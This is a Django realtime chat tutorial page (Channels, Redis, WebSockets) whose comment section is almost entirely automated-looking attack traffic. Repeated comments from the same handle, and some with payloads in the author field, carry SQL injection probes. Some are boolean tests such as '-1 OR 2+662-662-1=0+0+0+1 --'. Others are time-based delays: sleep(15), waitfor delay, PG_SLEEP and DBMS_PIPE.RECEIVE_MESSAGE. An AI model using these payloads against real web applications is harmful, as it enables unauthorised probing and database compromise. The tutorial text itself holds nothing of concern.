Part one of one - Django Realtime Chat App Tutorial

Learn how to build a simple realtime chat application using Django, Web sockets, Channels and Redis.

Messages are stored in a database, so it's even possible to see old messages.

To connect with the backend, I use Web Sockets (Vanilla JavaScript). To add async support to Django, I use Channels.

Redis is used as a in-memory cache for Channels.

Comments

EFSArCBy | Jul 02, 26 08:53

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

-1 OR 2+662-662-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:54

-1 OR 2+517-517-1=0+0+0+1

EFSArCBy | Jul 02, 26 08:54

-1' OR 2+527-527-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:54

-1' OR 2+307-307-1=0+0+0+1 or 'UizbpGFY'='

EFSArCBy | Jul 02, 26 08:54

-1" OR 2+362-362-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:54

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 08:54

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 08:54

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 08:54

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 08:54

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:54

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:54

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:54

555caiUa8kh'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:54

555-1 OR 803=(SELECT 803 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555-1) OR 468=(SELECT 468 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555-1)) OR 538=(SELECT 538 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555F3XOupT2' OR 466=(SELECT 466 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555ZChZhubS') OR 327=(SELECT 327 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555T0g8NufG')) OR 486=(SELECT 486 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:54

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 08:54

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555'"

EFSArCBy | Jul 02, 26 08:54

@@1i6iQ

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

-1 OR 2+748-748-1=0+0+0+1 -- | Jul 02, 26 08:54

555

-1 OR 2+780-780-1=0+0+0+1 | Jul 02, 26 08:54

555

-1' OR 2+965-965-1=0+0+0+1 -- | Jul 02, 26 08:54

555

-1' OR 2+878-878-1=0+0+0+1 or 'ACvOa6tS'=' | Jul 02, 26 08:54

555

-1" OR 2+262-262-1=0+0+0+1 -- | Jul 02, 26 08:54

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 08:54

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 08:54

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 08:54

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 08:54

555

EFSArCBycxgn0dxd'; waitfor delay '0:0:15' -- | Jul 02, 26 08:54

555

EFSArCByDStAgI1K' OR 221=(SELECT 221 FROM PG_SLEEP(15))-- | Jul 02, 26 08:54

555

EFSArCByc4vDNR3r') OR 794=(SELECT 794 FROM PG_SLEEP(15))-- | Jul 02, 26 08:54

555

EFSArCByrLyAF5ln')) OR 368=(SELECT 368 FROM PG_SLEEP(15))-- | Jul 02, 26 08:54

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy'" | Jul 02, 26 08:54

555

@@RYVKu | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

EFSArCBy | Jul 02, 26 08:54

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.